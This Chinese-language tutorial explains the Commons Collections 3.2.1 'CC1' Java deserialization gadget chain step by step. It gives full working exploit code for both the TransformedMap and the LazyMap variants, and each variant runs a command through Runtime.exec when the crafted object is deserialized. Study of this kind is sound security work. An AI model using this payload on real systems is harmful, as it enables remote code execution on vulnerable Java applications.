<1> 环境配置 因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本
去官网下载 jdk8u65https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
然后去 下载openjdkhttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/ 把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65里
打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp
导入commons collections maven依赖
将下面写入到 pom.xml 里
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
然后打开 IDEA 文件->项目结构-> SDK -> 源路径设置 填上刚才设置的的src目录
在src目录下右键创建java目录 resource目录
这里IDEA在src创建目录时提供了这两个选项 直接创建即可
<2> 链子分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
(1) 找Sink 链子主要用到的是这个 transformer接口。这个接口就接受一个Object类然后利用方法transform
InvokerTransformer 相当于帮我们实现了一个反射调用,参数都可控
因此我们可以通过 InvokerTransformer类的 transform 方法来invoke Runtime类getRuntime对象的exec实现 rce
代码如下:
1 2 3 4 5 6 7 8 9 public class CC1Test { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r); } }
所以我们也就找到了CC1链的 Sink点 — InvokerTransformer::transform()
(2) 找gadget 在知道了 InvokerTransformer::transform()可以rce之后,我们就找一下 哪些类可以调用 InvokerTransformer.transform()方法
查找一下 transform() 的用法:
发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()
而这个 valueTransformer参数是否可控呢? 是什么类型呢?
我们跟进查看一下 TransformedMap类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这里可以看到 valueTransformer是Transformer类型,而且构造函数里可以直接赋值 可控。
如果我们可以调用 TransformedMap的checkSetValue方法,那我们给 valueTransformer 赋值 构造的InvokerTransformer实例 就可以通过 valueTransformer.transform(value);
实现 InvokerTransformer.transform(value); 从而 rce
继续找入口点,去触发checkSetValue
跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()
因此我们可以再次构造一个链子 实现rce 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:transfromedMap.entrySet()){ entry.setValue(r); } } }
(3) 找反序列化入口点 继续找链子,最终我们应该找到的是一个 继承了Serialize接口的,实现了readObject()方法且方法里调用了链子里的某个函数。
如果找不到序列化入口点的话,就需要再看看哪个类里面调用了触发setValue()的方法,实现entry.setValue()的效果,需要多走一层
但是CC1里刚好,AnnotationInvocationHandler类readObject里面的readObject方法调用了setValue 且可被利用
循环遍历了map,且对 membervalue调用了setValue。完美符合了我们刚才测试代码的格式
我们跟进看一下 AnnotationInvocationHandler类 有什么是可以控制的
Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类 而且invocationHandler动态代理中的一个调用处理器类
注意这个类不是public类型,不能直接获取,因此需要反射获取Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
根据这些,我们可以将代码改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class CC1Test { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null , invokerTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap); }
但是呢,这里还存在两个问题
annotationInvocationHandler类readObject里 setValue() 里参数好像是控制不了的1 2 3 4 5 6 7 8 9 if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); }
前面测试里的,Runtime对象是自己生成的,但是它没有继承Serializable接口,是不能被序列化的
Runtime对象不能序列化问题–解决 Runtime()没有继承Serializable接口,不能序列化,那我们想一想 什么是可以被序列化的呢?
它的 Class(类的原型)是可以序列化的,可以通过它的Class 弄出来一个它
过程:获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法
需要三次反射
代码如下:
1 2 3 4 5 Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime" );Runtime r = (Runtime) getRuntimeMethod.invoke(null , null );Method execMethod = c.getMethod("exec" , String.class);execMethod.invoke(r,"calc" );
转化为用链子的Sink点 InvokerTransformer的transform来反射 代码如下:
1 2 3 4 Object getRuntimeMethod = new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod);new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
可以看到 用InvokerTransformer的transform来反射 都是后一个调前一个这种的
有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类
我们就可以利用这个类,把他们写在一起 写成一个Transformer[] 数组即可
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
因此,原本的链子代码,可以转化为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class CC1Test { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
但是 我们执行一下 缺并不能弹出计算器 因为还有一个问题没有解决
annotationInvocationHandler类readObject里 setValue() 里参数控制 –解决 我们调试进去看一下
在反序列化 readObject执行时, 会给name = memberValue.getKey(); 而memberValue即为我们传入的Map,所以就是获得它的key,这里我们赋的值为”key”
然后会 执行memberType = memberTypes.get(name);
什么是memberTypes呢?
它会获取memberType里的名为 name 的成员方法 由于注解 Override 里面并没有key这个参数 因此会导致 memberType为null 进不去if语句里了
那我们必须一个满足条件的有成员方法的Class,同时我们的Map里的key值还要改为这个成员方法名字。而 Target里有 value方法。
那我们更改构造器里 Override.class 为 Targe.class
同时更改Map 的key的值为字符串”value” 这样不就能找到了吗?
成功进入if语句里
然后底下那个if 判断 if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) 实际上是判断它俩能不能强转,肯定强转不了的。能进来
最后就到了这个 setValue()的地方,如果这里能控制,那我们就可以命令执行了 但是参数好像 它是new的一个代理类,并不能被控制 怎么办呢?
继续跟进,看一下,到了这里,就是最后的这个点了
这里这个valueTransformer.transform(value); 实际上我们需要把value 改成这个Runtime.class 才可以 而这里的value是 这个 AnnotationTypeMismatchExceptionProxy
这样的话,就不得不提到这个 ConstantTransformer类了
ConstantTransformer类
它重写了transform方法。它的特点就是不管它接受什么输入input,都返回特定的那个值iConstant
运用到这边的话,那就十分好用了。 即使最后的那个输入并不理想,只要最后调用了这个类的transform()方法,然后就可以从这里入手,无视input,改成特定的那个值iConstant。
这里我们把 new ConstantTransformer(Runtime.class) 写入到 transformers数组里, 就是说在最后valueTransformer.transform(value); 即 chainedTransformer.transform(代理object);循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class 达到控制的效果。 最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法
最后,成功执行calc
<3> LazyMap链分析 和之前的差不多,实际上区别就是 这个.get 是在LazyMap.get()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
所以原本的代码应该改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class CC1_lazy { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("sercc1.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("sercc1.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }